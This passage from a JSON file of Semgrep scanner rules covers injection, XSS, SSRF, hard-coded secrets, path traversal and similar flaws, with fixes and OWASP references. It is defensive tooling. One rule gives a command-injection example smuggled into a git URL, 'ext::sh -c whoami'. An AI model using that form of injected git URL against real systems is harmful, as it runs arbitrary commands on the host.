input."},"helpUri":"https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval","id":"kotlin.spring.scripting-host-eval.scripting-host-eval","name":"kotlin.spring.scripting-host-eval.scripting-host-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.scripting-host-eval.scripting-host-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"help":{"markdown":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://docs.python.org/3/library/secrets.html](https://docs.python.org/3/library/secrets.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random","id":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","name":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-insecure-random.cryptography-insecure-random"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"help":{"markdown":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/csrf/](https://flask-wtf.readthedocs.io/en/1.2.x/csrf/)\n","text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","id":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","name":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"help":{"markdown":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1)\n","text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1","id":"python.lang.compatibility.python37.python37-compatibility-math1","name":"python.lang.compatibility.python37.python37-compatibility-math1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-math1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","id":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","name":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","id":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","name":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","id":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","name":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"help":{"markdown":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","id":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","name":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","id":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","name":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe","id":"python.django.security.audit.xss.html-safe.html-safe","name":"python.django.security.audit.xss.html-safe.html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-safe.html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","id":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","name":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"help":{"markdown":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone","id":"javascript.lang.security.spawn-git-clone.spawn-git-clone","name":"javascript.lang.security.spawn-git-clone.spawn-git-clone","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.spawn-git-clone.spawn-git-clone"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Writing `$MAP` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map","id":"trailofbits.go.racy-write-to-map.racy-write-to-map","name":"trailofbits.go.racy-write-to-map.racy-write-to-map","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-write-to-map.racy-write-to-map"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","id":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","name":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token","id":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","name":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-token.detected-artifactory-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string","id":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","name":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header","id":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","name":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.direct-response-write-with-header.direct-response-write-with-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Custom ERC721 implementation 